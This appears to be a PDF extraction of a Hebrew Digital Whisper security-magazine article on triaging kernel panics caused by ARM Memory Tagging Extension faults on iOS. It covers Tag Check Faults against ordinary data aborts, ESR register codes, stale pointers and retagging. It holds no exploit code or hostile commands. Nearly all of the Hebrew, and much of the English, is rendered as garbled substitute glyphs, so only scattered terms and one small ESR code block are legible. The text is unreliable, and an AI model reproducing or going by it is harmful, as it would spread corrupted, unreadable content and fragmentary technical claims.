˫˧˧˵  ˭ ˣˮˠˮˬ ˢ˧ˢ˷ ˷˧ˠ˶ ˵˧˲˯ˬ  ˧ ˡ˩  ˭ ˧˥˟ˢ˪ ˣˬˣ˧˵˟Φ 
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˸˶ˠ˯ˬ ˭ˣ˥˟˞ˢ ΥǘŀƎ ŎƘŜŎƪ Ŧŀǳƭǘ ˪ˣˬ Řŀǘŀ ŀōƻǊǘ 

 ˶ ˣ˟˰   ˧ ˶˵ˣ˥  ˸ˣ˧ˣ˰˧ˠ˲  ˫˧˥˸ˮˬˢ   ˸ ˣ˯˧˶˵  ˪ˮ˶˵  ˫˧˶˧˷˩ˬ˟  ˫ˢ˟˷  a¢9  ˪˰˲ˣˬ  Σˠˣ˯  πsƪŜǊƴŜƭ ǇŀƴƛŎ  ˣˬ˴˰   ˨ ˲ˣˢ  

 l ˥˞˪  ˧ˮˬ˧˯ˬ  ˭ˣ˧ˬˢ   ύǘǊƛŀƎŜ  ό ˫ ˧ˮˣ˷˞˶ˢ  ˫˧˟ˣ˷˥ˢˣ  ˶˸ˣ˧˟  Φˢˮ˥˟ˢ  ˣˤ   ˸ ˶˴ˣ˧  ˸˶ˠ˯ˬ  ˢ˷ˡ˥   ˥ ˣ˸˧ˮ˪   ˭ ˣ˥˟˞˪ˣ  

˪˷   ˸ ˣ˯˧˶˵ ˪ˮ˶˵ Φ 

˸˞˧˶˵ ˶ˠˣ˞ 9ȄŎŜǇǘƛƻƴ {ȅƴŘǊƻƳŜ wŜƎƛǎǘŜǊ ό9{wύ 

πs9{w ˡˡˣ˵ˬ  ˸˞ ˸˟˧˯ ˢˠ˧˶˥ˢ Φ˶ˣ˟˰ ˸ˣ˪˵˸ ˸ˣ˶ˣ˷˵ˢ   ˪πa¢9 Υ 

// Tag Check Fault (MTE)  
ESR = 0x0000000096000011 
  EC[31: 26]  = 0x25 γ Data Abort  from  current EL  
  DFSC[5: 0]  = 0x11 γ Synchronous  Tag Check Fault  
  

 

// Data Abort (non - MTE) 
ESR = 0x0000000096000021 
  EC[31: 26]  = 0x25 γ Data Abort  from  current EL  
  DFSC[5: 0]  = 0x21 γ Alignment  Fault  
  

  

ˢˬ ˪˩ ˡ˥˞ ˶ˬˣ˞  ˫ ˩˪ 

¢!D /I9/Y C!¦[¢ 

{ǘŀƎŜΥ tǊŜπŎƻǊǊǳǇǘƛƻƴ Φa¢9 ōƭƻŎƪŜŘ ǘƘŜ 

ŀŎŎŜǎǎΦ 9ȄǇƭƻƛǘŀōƛƭƛǘȅΥ hŦǘŜƴ ƭƻǿ Φ¢ƘŜ 

ŎƻǊǊǳǇǘƛƻƴ ƴŜŜŘŜŘ ŦƻǊ ŜȄǇƭƻƛǘŀǘƛƻƴ ǿŀǎ 

ǇǊŜǾŜƴǘŜŘΦ wŜǎŜŀǊŎƘ ǾŀƭǳŜΥ ±ŜǊȅ ƘƛƎƘ Φ

wŜǾŜŀƭǎ ōǳƎǎ ǘƘŀǘ ŀǊŜ ƻǘƘŜǊǿƛǎŜ ƛƴǾƛǎƛōƭŜΦ 

LƳǇƭƛŎŀǘƛƻƴΥ ! ǊŜŀƭ ǾǳƭƴŜǊŀōƛƭƛǘȅ ŜȄƛǎǘǎ Σōǳǘ 

a¢9 Ƙŀǎ ƳƛǘƛƎŀǘŜŘ ƛǘΦ 

5!¢! !.hw¢ 

{ǘŀƎŜΥ tƻǎǘπŎƻǊǊǳǇǘƛƻƴ  ΦaŜƳƻǊȅ ƛǎ ŀƭǊŜŀŘȅ 

ŘŀƳŀƎŜŘΦ 9ȄǇƭƻƛǘŀōƛƭƛǘȅΥ tƻǘŜƴǘƛŀƭƭȅ ƘƛƎƘ  Φ

!ǘǘŀŎƪŜǊ Ƴŀȅ ŎƻƴǘǊƻƭ ŎƻǊǊǳǇǘŜŘ ŘŀǘŀΦ 

wŜǎŜŀǊŎƘ ǾŀƭǳŜΥ IƛƎƘ Σōǳǘ ƘŀǊŘŜǊ ǘƻ ǘǊŀŎŜ 

Ǌƻƻǘ ŎŀǳǎŜΦ LƳǇƭƛŎŀǘƛƻƴΥ aƻǊŜ ǳǊƎŜƴǘ Φaŀȅ 

ōŜ ŜȄǇƭƻƛǘŀōƭŜ ƻƴ ƴƻƴπa¢9 ŘŜǾƛŎŜǎΦ 
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˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  рт 
 

˶ˣˤ˥˷ ˫˧ˠ˸ ˨ˣ˸ˬ ˧ˠˣ˪ YŜǊƴŜƭ tŀƴƛŎ 

˸˰˟   ˥ ˣ˸˧ˮ  ˪˷  ¢ŀƎ /ƘŜŎƪ Cŀǳƭǘ  Σ ˭ ˸˧ˮ   ˶ ˤ˥˷˪   ˸ ˞   ˸ ˣ˪˷˪˸˷ˢ   ˫ ˧˰ˣ˶˧˞ˢ   ˨ ˣ˸ˬ   ˟ ˴ˬ   ˫ ˧˶ˠˣ˞ˢ  ύǊŜƎƛǎǘŜǊ 

ǎǘŀǘŜ Υό 

¶ ˧ˣˢ˧ˤ ˰˧˟˴ˬˢ  ˭˷ˣ˧ˬˢ  ύstale pointer Υό˶˸˞ ˸˞ ˶ˠˣ˞ˢ ˪˧˩ˬˢ ˸˞ ˰˧˟˴ˬˢ ˦˵˧˧˟ˣ˞˪ Φ˸˰˟˶˞  ˫ ˧˦˧˟ˢ  

˫˧ˮˣ˧˪˰ˢ ˪˷ ˠ˸ˢ ύupper nibble ό ˫ ˧ˠ˴˧˧ˬ ˸˞ ˠ˸ˢ ˭˷˧ˢ  ˞˷ˮ˷ ˰˧˟˴ˬˢ Φ 

¶ ˧ˣˢ˧ˤ  ˠ˸ˢ  ˧ˣ˲˴ˢ Υ  ˸˰ˡˣˢ  πskernel panic  ˢˬ˴˰   ˸ ˪˪ˣ˩   ˸ ˞   s ˡ˷ˢ  expected tagged address  Σ ˪ ˧˩ˬˢ  

˸˞ ˠ˸ˢ ˧˥˩ˣˮˢ ˭˯˥ˣ˞ˬˢ  π˟Tag RAM Φ 

¶ ˸ˣˬ˧˞  ˰ˣ˴˧˟  retagging Υ  ˫˞  ˧ˮ˷  ˫˧ˠ˸ˢ  ˫˧ˮˣ˷  ˨˶˰˟  ˭˦˵  Σ˶˟ˡˢ  ˫˞ˣ˸  ˸˞  ˭ˣˮˠˮˬ  πsretagging   ˱ ˧˴˶ˢ 

˪˷  ˢ˴˵ˬˢ  ύallocator  Φό˫˞  ˷˶˲ˢˢ  ˢ˞˶ˮ  ˧˞˶˵˞  Σ˶˧˟˯  ˦˵˧˧˟ˣ˞ˢ˷  ˶˟˩  ˶˶˥ˣ˷  Σˢ˪ˣˮ˶ˠˢˣ  ύgranule  ό

ˢ˸˴˵ˣˢ ˷ˡ˥ˬ  ˶ˣ˟˰  ˦ ˵˧˧˟ˣ˞ ˶˥˞ Φ 

¶ ˸˵˧ˡ˟   ˧ ˪ˠˡ  ˭ˣˬˤ˸ˢ  ύScheduling Flags Υό  ˫˧˪ˠˡ   ˭ ˣˠ˩  TH_SFLAG_RW_PROMOTED   ˭ ˣ˩˧˪ˢ˸˟   ˯ ˶˵˷  

˫˧ˣˣˢˬ  ˢ˧˴˵˧ˡˮ˧˞  ˢ˵ˤ˥   ˨ ˩˪  ˭ˬˤ˟˷  ˢ˯˧˶˵ˢ  ˢ˸˧˧ˢ  ˸ˣ˪˧˰˲  ˢ˪˧˰ˮ  ˸˧˪˧˟˵ˬ  ύconcurrent locking  Σό

˶ˬˣ˪˩  ˭ˣ˩˧˪ˢ˸˷ ˱˯ˣˮ ˢ˧ˢ ˟˶ˣ˰ˬ  , ˢˬ˧˸˥  ˸ ˧ˮ˧˧˲ˣ˞ ˪˷ ˟˴ˬ ˳ˣ˶˧ˬΦ 

¶ ˥ˣˮ˰˲  πsLR Υ  ˫˞  ˶ˠˣ˞  πsLink Register) LR  ό˰˧˟˴ˬ  ˸˧˧˴˵ˮˣ˲˪  slow path  ˸˶˩ˣˬ   ˪ ˷  ˭ˣˮˠˮˬ   s ˪˧˰ˮ  

ύˢˬˠˣˡ˪  Σ s ˧˴˵ˮˣ˲   ˸ ˬ˧˧˸˯ˬˢ  π˟ ψcontended  Σό˭˸˧ˮ   ˵ ˧˯ˢ˪  ˢ˷πmutex  ˢ˧ˢ   ˯ ˣ˲˸   ˰ ˠ˶˟   x ˟˷   ˷ ˥˶˸ˢ  

˪˷˩ˢ Φ˧ˢˣˤ  ˸ˣˡ˰ ˢ˶˧˷˧ ˨˩˪  ˭ˣ˩˧˪ˢ˸˷ ˶˥˞ ˵˧ˤ˥ˢ   ˪ ˣ˰ˮˬ˟ ˣ˸ˣ˞˟ ˭ˬˤ Φ 

¶ ˶ˣ˸˧˞  ˢ˞˧˶˵ˢ ˪ πόύfree Υˡˣ˟˰ ˶ˣ˥˞˪ ˢ˧˴˵ˮˣ˲ˢˬ ˢ˟˷ ˢ˷˥˶˸ˢ ˢ˯˧˶˵ˢ ˧ˡ˩  ˸ˣˢˤ˪  ˢˤ˧˞ ˪ˣ˪˯ˬ  l ˣ˵  

 ˶ ˶˥˷   ˸ ˞  ˦˵˧˧˟ˣ˞ˢ  Σ s ˤ˧˞ˣ   ˪ ˣ˪˯ˬ   ˨ ˧˷ˬˢ   ˵ ˧ˤ˥ˢ˪   ˰ ˧˟˴ˬ   ˭ ˷ˣ˧ˬ  ˣ˧˪˞  Φ ˨ ˩  ˭˸˧ˮ  ˶ˤ˥˷˪  ˸˞   ˟ ˴ˬ  ˳ˣ˶˧ˬˢ  

˪˧˟ˣˢ˷  ˸ˣ˰˧ˠ˲˪ Φ 

 

a¢9 ˧˪˩˩ ˶˵˥ˬ Υ˸˲˧˷˥ ˧˸˪˟ˢ  s ˞˶ˮ 

ˢˮ˧˥˟ˬ   ˸ ˧˶ˣ˦˯˧ˢ Σa¢9  ˶ˠ˯ˣˬ   ˧ ˰˴ˬ˞˩  ˢˮˠˢ ,   ˭ ˣˮˠˮˬ  ˡ˰ˣ˧ˬˢ  ˸ ˣ˷˵ˢ˪  ˪˰  s ˧˴˦˧ˣ˪˲˯˵˞  Φ ˨ ˞   ˭ ˣ˧˯˧ˮ   ˶ ˵˥ˬˢ  

ˣˮ˪˷  ˰ ˧˟˴ˬ ˪˰  l ˧˵˲˸ ˟ˣ˷˥  ˞˪ ˸ˣ˥˲  Υa¢9  ˧ ˪˩˩ ˶ˣ˸˧˞˪ ˫˧ˠ˞˟ Φ 
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˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  ру 
 

˸˧˧˰˟ Ϧ˶ˬˣ˥ˢ ˪˲˞ˢϦ 

˭˥˟ˮ  ˸˞ ˸˵˪˥ˬ  ˸ ˣ˧ˣ˰˧ˠ˲ˢ  s ˶˞ˣ˸˷ ˵˶˲˟  п Υ˧˟˴ˬ  ˳ ˣ˶˧ˬ  ˫ ˧˪˧˟ˣˬˢ ˸ˣ˧ˣ˰˧ˠ˲˪  ɣ ˣ˯ˬ ǳǎŜπŀŦǘŜǊπŦǊŜŜ Σ ˶ ˷˞˩  

ˢ˴˵ˬ sπȊƻƴŜǎ ˶˧˸˯ˬ  ˸ ˞ ˧ˮ˧ˬ˯˸ ˠ˞˟ˢ  Φ˞˪˪ a¢9 Σ˸ˣ˧ˣ˰˧ˠ˲ ˠˣ˯ˬ ˢˤ Υ 

¶ ˭ˮ˧˞  ˸ˣˬ˶ˣˠ ˢ˯˧˶˵˪ Φ 

¶ ˭ˮ˧˞ ˸ˣ˶˴˧˧ˬ  ˠˣ˪ Φ 

¶ ˭ˮ˧˞ ˸ˣ˶˧˞˷ˬ ˪˩ ˢ˟˵˰ ˸˧ˤˮ˶ˣ˲Φ 

¶ ˸ˣ˶˟ˣ˰  ˢ˥˪˴ˢ˟  ˸˞  ˪ ˩ ˧˩˶˰ˬ ˸ˣ˵˧ˡ˟ˢ ˫˧ˬ˧˧˵ˢΦ 

¶  ˸ ˣ˪ˣ˪˰ ˡˣ˶˷˪ ˨˷ˬ˟  ˫˧ˮ˷  ˸ ˟˧˟˯˟  ˶ ˣ˴˧˧ ύproduction Φό 

 x ˪˞ ˫ˢ sπ Ϧ5ŀǊƪ aŀǘǘŜǊ Ϧ ˪ ˷  ˫ ˪ˣ˰  ˧ ˠ˞˟ ˪ˮ˶˵ˢ Φ ˫ ˢ  ˫ ˧ˬ˧˧˵ Σ ˭ ˩˸˧˧ˣ ˫˶˲˯ˬ˷  ˱˞  ˪ˣˡˠ Φ˫˪ˣ˞   ˶ ˡ˰˧ˢ˟  ˭ ˣˮˠˮˬ  

 ˪ ˠˣ˯ˬˢ  ˱ˣ˷˥˪  ˫˸ˣ˞  Σ˫ˢ   ˫ ˧˶˸ˣˮ  ˧˸˪˟   ˫ ˧˞˶ˮ   ˧ ˪˩˪  ˥ˣ˸˧ˮˢ   ˫ ˧˧˸˶ˣ˯ˬˢ  ,   ˸ ˣ˟˶˪  ŦǳȊȊŜǊǎ  Σˢˤ˧˪ˮ˞   ˸ ˧˦˦˯  

ύǎǘŀǘƛŎ ŀƴŀƭȅǎƛǎ Σό˸ˣ˶˧˵˯   l ˣ˵   ˸ ˣ˧ˮˡ˧  ˸ ˣ˵˧ˡ˟ˣ ˸ˣ˧ˬˮ˧ˡ ˸ˣ˯˯ˣ˟ˬˢ  ˪˰ ǎŀƴƛǘƛȊŜǊǎ Φ 

a¢9  ˢˮ˷ˬ  ˸˞  ˧˪˪˩  ˵˥˷ˬˢ  Φ˸ˣ˰˴ˬ˞˟  ˠˣ˧˸  ˪˷   ˪ ˩   ˸ ˞˴˵ˢ   ˭ ˣ˶˩˧ˤ  ˸˵˧ˡ˟ˣ  ˪˩  ˢ˷˧ˠ  ˭ˣ˶˩˧ˤ˪   ˸ ˬ˶˟   s ˶ˬˣ˥ˢ  Σ

˞ˣˢ  ˨˲ˣˢ  ˫˧ˠ˞˟   ˧ ˸˪˟   ˫ ˧˞˶ˮ  ˫˧˪˷˩˪  ˫˧ˮ˸˧ˮˢ  ˧ˣˢ˧ˤ˪  Φ˨˧˪ˢ˸ˢ  ˢˤˢ  ˷˥˶˸ˬ  ˭˲ˣ˞˟  ˱˧˴˶  Σ˸ˣ˩˶˰ˬ˟   ˶ ˣ˴˧˧  

 ˪ ˰ˣ ˪˩ ˶˧˷˩ˬ   x ˟˷ a¢9 ˪˰˲ˣˬΦ 

˸ˣ˩˪˷ˢˢ ˪˰  ˸ ˧˧ˠˣ˪ˣˡˣ˸ˬ ˶˵˥ˬ  ˸ ˣ˧ˣ˰˧ˠ˲ˢ 

1  Φ ˸ ˣ˵˪˥ˬ ˸ˣ˷ˡ˥ ˪˷ ˫˧ˠ˞˟  ˸ ˣ˩˲ˣˢ ˸ˣ˶˟˪  ˧ ˣ˪˧ˠ 

 ˸ ˣ˧ˣ˰˧ˠ˲  ˠˣ˯ˬ  ǳǎŜπŀŦǘŜǊπŦǊŜŜ  ˸ˣˬ˶ˠˮˢ  ˢ˞˴ˣ˸˩  ˧˟˴ˬˬ  ˳ˣ˶˧ˬ  ˧˸˸˟˸ˣ˩˶˰ˬ  ˪ˮ˶˵  ˸ˣ˪˲˦ˬˢ  ˫˧˰ˣ˶˧˞˟  

˸ˣ˶˧ˡ˸˟  ˢˢˣ˟ˠ  ,  ˭ˣˠ˩   ˧ ˟˧˩˶  ˸˷˶  Σ˸˩˶˰ˬ  ˫˧˴˟˵ˢ  ˣ˞  ˧ˮˣˮˠˮˬ  Lt/  ,  ˸ˣ˧ˣ˷˰   ˞ ˦˟˸ˢ˪  ˵˶  ˧˞ˮ˸˟   ˭ ˣˬˤ˸  

˫˧ˬ˧ˣ˯ˬ  Φ ˫ ˧˶˵ˬ˟  ˫˧˟˶  ΣŦǳȊȊŜǊ  ˞˪  ˥˧˪˴˧   ˶ ˤ˥˷˪   ˸ ˞  ˢ˶˧ˤ˷ˢ  ύƛƴǘŜǊƭŜŀǾƛƴƎ  ό˸˵˧ˣˡˬˢ  ˪˷  ˫˧ˮˣ˩˧˪ˢ˸ˢ  Φ

 ˸ ˬˣ˰˪ ˸˞ˤ Σa¢9  l ˣ˩˪˧  ˸ ˞ ˪˷˩ˢ  ˰ ˠ˶˟ ˞ˣˢ˷ ˷˥˶˸˧  ˢˮˣ˷˞˶˪ ˪˰ ˪˩ ˶˧˷˩ˬ   x ˟˷  ˞ ˣˢ  ˪˰˲ˣˬ Φ 

2 Φ˥ˣ˸˧ˮ  ˧ˠˣ˪ ˢ˯˧˶˵   ˨ ˲ˣˢ ˧˪˩˪  ˶ ˵˥ˬ 

 ˶ ˣ˟˰   ˫ ˧ˮˣˠ˶˞   ˫ ˧˥˸ˮˬˢ   ˧ ˠˣ˪   s ˯˧˶˵   ˱ ˵˧ˢ˟   ˟ ˥˶  ,   ˭ ˣˠ˩   ˧ ˮ˶˴˧   ˫ ˧˶˧˷˩ˬ  ύh9aǎ  Σό ˸ ˣ˶˟˥  ˢ˥˦˟˞   ˧ ˵˲˯ˣ  a5a   ,  

 ˧ ˰ˣ˶˧˞  ¢ŀƎ /ƘŜŎƪ Cŀǳƭǘ  ˫˧ˣˣˢˬ  ˳ˣ˶˰  ˰ˡ˧ˬ  ˷ˡ˥  Φ˪˩   ˰ ˣ˶˧˞  ˢˤ˩  ˞ˣˢ  ˢ˧˴˵˧ˡˮ˧˞  ˢ˶˧˷˧  ˢˬˣ˧˵˪  ˪˷   ˸ ˣ˰˧ˠ˲  

ƳŜƳƻǊȅ ǎŀŦŜǘȅ Φ 

3  Φ˸˩˶˰ˢ ˸˪ˣ˩˧  ˪ˣ˴˧ˮˢ  s ˮ˸˷ˬ 

˸ˣ˰˧ˠ˲  ˢ˪˧˟ˣˬˢ  π˪¢ŀƎ /ƘŜŎƪ Cŀǳƭǘ  ˶˧˷˩ˬ˟  ˨ˬˣ˸ˢ  π˟a¢9  ˭˧˧ˡ˰  ˢ˧ˣ˷˰  ˸ˣ˧ˢ˪  ˸ˮ˸˧ˮ  ˪ˣ˴˧ˮ˪   ˫ ˧˶˧˷˩ˬ˟  

˫ˮ˧˞˷  ˫˧˩ˬˣ˸  π˟a¢9  Φ˭˩˪  Σ˫ˠ   ˫ ˞  a¢9   ˰ ˮˬ   ˸ ˞  ˢ˞˴ˣ˸ˢ  ˢ˶ˣˬ˥ˢ   ˶ ˸ˣ˧˟  Σ ˸ ˣ˰˧ˠ˲ˢ  ˭˧˧ˡ˰  ˢ˧ˣ˞˶   ˥ ˣˣ˧ˡ˪  

˭ˣ˵˧˸˪ˣ Φ 

 

http://www.digitalwhisper.co.il/


 
 

a¢9   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  рф 
 

˫˧˪˧ˬ˟  ˸ˣ˶˥˞  Σ˨˧˪ˢ˸  πsǘǊƛŀƎŜ   ˯ ˯ˣ˟ˬˢ  ˪˰  a¢9   ˵ ˲˯ˬ  ˨˶ˡ  ˢ˶˧ˢˬ  ˶˸˞˪  ˸ˣ˧ˣ˰˧ˠ˲  ˸ˣ˰˧˲˷ˬˢ  ˪˰   ˯ ˧˯˟  

˸ˣˮ˵˸ˢˢ  ˪ˣˡˠˢ ˢ˟˶ˢ˟  ˪˷ ˫˧˶˧˷˩ˬ ˫ˮ˧˞˷ ˫˧˩ˬˣ˸ ˟πa¢9  ,  ˫ ˢ˟˷ˣ  ˭˸ˣ˞   ˸ ˣ˧ˣ˰˧ˠ˲  ˸ˣ˧ˣ˷˰ ˸ˣ˧ˢ˪   ˸ ˣˮ˸˧ˮ  

˪ˣ˴˧ˮ˪ Φ 

˸ˣ˪˟ˠˬ ˪˷  ˸ˣˬ˶ˣ˲˦˪˲ ˶˵˥ˬ 

ˣˮ˷˧  ˫ˠ ˪ˣ˵˧˷ ˧˷˰ˬ  Υ ˞ ˪ ˪˩  ˸ˣ˟˧˟˯ ˶˵˥ˬˢ  ˸ ˣ˩ˬˣ˸ ˟ πa¢9Φ 

ˢˬˠˣˡ˪  Σ/ƻǊŜƭƭƛǳƳ,  ˸˥˞   ˸ ˣˬ˶ˣ˲˦˪˲ˬ  ˶˵˥ˬˢ  ˸ˣ˴ˣ˲ˮˢ   ˶ ˸ˣ˧˟   ˶ ˵˥˪  ˪ˮ˶˵  ƛh{  ,  ˢˮ˧˞  ˸˩ˬˣ˸   ˫ ˣ˧˩  

ˢ˧˴˪ˣˬ˞˟  ˪˷  a¢9κaL9 Φ˸ˣ˰ˬ˷ˬˢ  ˞ ˧ˢ Υ 

¶ ˫˧ˠ˞˟ ˫˧˞˦˟˸ˬˢ  ˨˞   ˵ ˶ˣ ˩πTag Check Fault ˫ˮ˧˞  ˫ ˧ˮ˸˧ˮ ˶ˣˤ˥˷˪  π˟Corellium Φ 

¶ ˢ˴˵ˬ  πszones  ˨˧˷ˬˬ  ˯˲˞˪  ˭ˣ˶˩˧ˤ  ˫ˠ  ˶ˣ˦˪ˣˬ˞˟  Σ ˭ ˩˪ˣ  ˸ˣ˧ˣ˰˧ˠ˲  use-after-free  ˸ˣ˩˧˷ˬˬ   ˸ ˣ˧ˢ˪  

˸ˣ˶˸˯ˣˬΦ 

¶ ˫˧˸˧˰˪  ˷˶ˡˮ  ˵˧˶ˤˢ˪  ˭˲ˣ˞˟  ˧ˮˡ˧  ˫˧˰˧˟˴ˬ  ˫˧ˬˣˠ˲  ύcorrupted pointers  ό˧ˡ˩  ˳˪˞˪   ˸ ˞   ˸ ˣ˷˥˶˸ˢ   ˪ ˷˩ˢ  

˧˩˶ˣ˴˪ ˢ˵˧ˡ˟Φ 

¶ ˨˶ˣ˴˪ ˸ˣˬ˧˞  ˱ ˧˵ˬ ˪˷ ˸ˣ˧ˣ˰˧ˠ˲ Σ˫˧˶˧˷˩ˬ ˫˧˧ˤ˧˲ ˫˧˩ˬˣ˸ˢ  π˟MTE ˫˧˩˲ˣˢ  ˧˪˩˪ ˶˵˥ˬ ˧˥˶˩ˢΦ 

˧ˣˮ˧˷ ˢˬˠ˧ˡ˶˲ ˶˵˥ˬ˟  ˸ ˣ˧ˣ˰˧ˠ˲ 

a¢9  ˨˲ˣˢ  ˸˞  ˪ˡˣˬ   s ˡˣ˟˰ˢ  ˧˸˶ˣ˯ˬˢ  ˪˷  ˶˵˥ˬ   ˸ ˣ˧ˣ˰˧ˠ˲  ˪˰  ˣ˧ˮ˲  Φ˫ˣ˵ˬ˟  ˢ˷˧ˠˢ  ˸˧˯˞˪˵ˢ  ,  Ϧ˞˴ˬ   ˸ ˞  

ˠ˞˟ˢ  Σˤ˞ˣ  ˵ˣˡ˟  ˫˞  ˭˸˧ˮ  ˪˴ˮ˪  ˣ˸ˣ˞ Ϧ,  a¢9  ˶˷˲˞ˬ  ˢ˷˧ˠ  ˢ˩ˣ˲ˢϦ Υˢˢˤ  ˸˞  ˪˷˩ˢ  Σ ʕ ˞ˣ  ˶ˤ˥˷  ˸˞   ɣ ˞˟ˢ  

˪˧˟ˣˢ˷ ˣ˧˪˞ ϦΦ 

ˢ˶ˬˣ˥ˢ  ˸˰˴˟ˬ  ˸˞   ˵ ˪˥ˢ  ˢ˷˵ˢ  Υ˧ˣˢ˧ˤ  ˢ˷˧ˠˢ  ˧˸˪˟ˢ  ˸˧˵ˣ˥  ˭ˣ˶˩˧ˤ˪  Φˣˡ˧˵˲˸   ˪ ˷   ˶ ˵ˣ˥ˢ  ˢˮ˸˷ˬ   ˫ ˞˸ˢ˟   ,  

˧ˣˢ˧ˤˬ   ˧ ˮˣ˷˞˶   ˪ ˷  ˪˷˩ˢ   ˥ ˣ˸˧ˮ˪   ˷ ˶ˣ˷  ˢ˧˰˟ˢ   ύǊƻƻǘ ŎŀǳǎŜ ŀƴŀƭȅǎƛǎ  ό˸˩˶˰ˢ˪ˣ  ˢ˸˰˲˷ˢ  ƛƳǇŀŎǘ 

ŀǎǎŜǎǎƳŜƴǘύΦό 

 

˸ˣ˩˪˷ˢ ˦˟ˬˣ  s ˬ˧ˡ˵ 

˶ˣ˟˰   ˫ ˧ˮ˧ˠˬˢ 

a¢9κaL9  ˭ˬ˯ˬ  ˸˴˧˲˵  ˢˠ˶ˡˬ  ˸˧˸˧ˬ˞  ˸˥˦˟˞˟  ˫˧˶˧˷˩ˬ  Φˢˮˣ˷˞˶˪  Σ ˭ ˣˮˠˮˬ  ˢ˶ˬˣ˥  ˵˲˯ˬ  ˢˮˠˢ  ˢ˲˧˴˶  Σ

ˢˮ˧˞˷  ˸˷˶ˣˡ  ˪˩   s ˶ˣ˴˸  ˡ˴ˬ   ˷ ˬ˸˷ˬˢ  Σ ˧ ˮ˲ˬ   ˫ ˧˧˸˷  ˸ˣ˵˪˥ˬˬ  ˸ˣ˧ˣ˰˧ˠ˲  πsƳŜƳƻǊȅ ǎŀŦŜǘȅ   ˸ ˣ˴ˣ˲ˮˢ  

˶˸ˣ˧˟Φ 

˫˧ˮˣˠ˶˞   ˫ ˧˪ˢˮˬˢ   ˧ ˴   ˪ ˷  ˫˧˶˧˷˩ˬ   ˫ ˧˩ˬˣ˸ˢ  π˟a¢9  ˫˧˩˧˶˴   ˟ ˪˷˪   ˧ ˩˶˰ˬ˟   ˥ ˣ˸˧ˮ  πsƪŜǊƴŜƭ ǇŀƴƛŎ   ˫ ˢ˪˷  

˧ˣˢ˧ˤ  ˪˷  ˧˰ˣ˶˧˞  ¢ŀƎ /ƘŜŎƪ Cŀǳƭǘ Φ˪˩ ˰ˣ˶˧˞ ˢˤ˩  ˞ ˣˢ ˸ˣˡ˰  ˣˬˣ˧˵˪ ˪˷  ɣ ˞˟ ˧˸˧ˬ˞ Φ 
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a¢9   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 
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˶ˣ˟˰   ˫ ˧˲˵ˣ˸ˢ 

a¢9   s ˪˰ˬ   ˸ ˧˸ˣ˰ˬ˷ˬ  ˸˞  ˸ˣ˪˰   ˪ ˣ˴˧ˮˢ  ˪˷  ˸ˣ˧ˣ˰˧ˠ˲  Φ˶˷˞˩  ˸ˣ˶˟˸˯ˢˢ  ˸ˣ˷ˠˮ˸ˢ˪   ɣ ˸   ύǘŀƎ Ŏƻƭƭƛǎƛƻƴ  ό ˞ ˧ˢ  

м   ˪πмс ˪˩˟  ˭ˣ˧˯˧ˮ  Σ˸ˣ˶˟˸˯ˢˢ  ˭˸˥˪˴ˢ˪  ˪˷  ˸ˣ˞˶˷˶˷  ˪ˣ˴˧ˮ  ύŜȄǇƭƻƛǘ ŎƘŀƛƴǎ  ό˸ˣ˟ˣ˶ˬ ˫˧˟˪˷   ˸ ˡ˶ˣ˧   ˭ ˲ˣ˞˟  

˧˪˞˧˴ˮˮˣ˲˯˵˞  Φ˟ˣ˪˧˷˟   ˫ ˰  ˢ˵˧ˡ˟  ˸˧ˮˣ˶˩ˮ˧˯  ύǎȅƴŎƘǊƻƴƻǳǎ ŎƘŜŎƪƛƴƎ  όπx¢ŀƎ /ƻƴŦƛŘŜƴǘƛŀƭƛǘȅ 

9ƴŦƻǊŎŜƳŜƴǘ Σ ˟ ˥˶ˬ  s ˪ˣ˰˲ˢ ˪˷  ˱ ˵ˣ˸ˢ ˫˴ˬ˦˴ˬ  ˭ ˲ˣ˞˟ ˧˸ˣ˰ˬ˷ˬΦ 

˫˰  ˸˞ˤ  Σa¢9  ˣˮ˧˞  ˭ˣ˶˸˲  ˫˪˷ˣˬ  Φ˫˧ˠ˸  ˧ˮ˟  п   ˫ ˧˦˧˟  ˫˧˵˲˯ˬ  ˢ˧˲ˣ˶˦ˮ˞  ˸˪˟ˠˣˬ  ˡ˟˪˟  Φ˫˧ˠ˞˟  ˫˧˧ˠˣ˪  Σ

 ˸ ˣ˧ˣ˰˧ˠ˲  ˠˣ˯ˬ  ǘȅǇŜ ŎƻƴŦǳǎƛƻƴ   ˨ ˣ˸˟  ˣ˸ˣ˞  ȊƻƴŜ  ˸ˣ˲˧˪ˡˣ  ˰ˡ˧ˬ   ˭ ˮ˧˞˷  ˸ˣ˩ˣ˶˩  π˟ƳŜƳƻǊȅ ŎƻǊǊǳǇǘƛƻƴ   ˫ ˧˞˴ˬˮ  

˳ˣ˥ˬ  ˱˵˧ˢ˪  ˢˮˠˢˢ  ˪˷  a¢9  Φ˟˴ˬ  ˳ˣ˶˧ˬˢ  ˣˮ˶˞˧˸˷  ˷˧˥ˬˬ   ˸ ˞ˤ  ˟˦˧ˢ  Φ ˶ ˧˷˩ˬ˟   ˨ ˬˣ˸ˢ  π˟a¢9  Σ ˸ ˣ˰˧ˠ˲ˢ  

ˢ˪˧˟ˣˬ  ˭˲ˣ˞˟  ˧˟˵˰   ˪πƪŜǊƴŜƭ ǇŀƴƛŎ  Φ˸ˬˣ˰˪  ˸˞ˤ  Σ˯˧˯˟˟  ˸ˣˮ˵˸ˢˢ  ˫ˣ˴˰ˢ  ˪˷  ˫˧˶˧˷˩ˬ  ˫ˮ˧˞˷  ˫˧˩ˬˣ˸   ˟π

a¢9 Σ s ˸ˣ˞  ˸ ˣ˰˧ˠ˲ ˢˬ˴˰  ˫ˠ  ˸ˮ˸˧ˮ ˪ˣ˴˧ˮ˪  ˫ˠˣ ˸˶˸ˣˮ  ˧˸˪˟  ˸˧˞˶ˮ Φ 

˶ˣ˟˰   ˫ ˦˯˧˯ˣ˵˞ˢ 

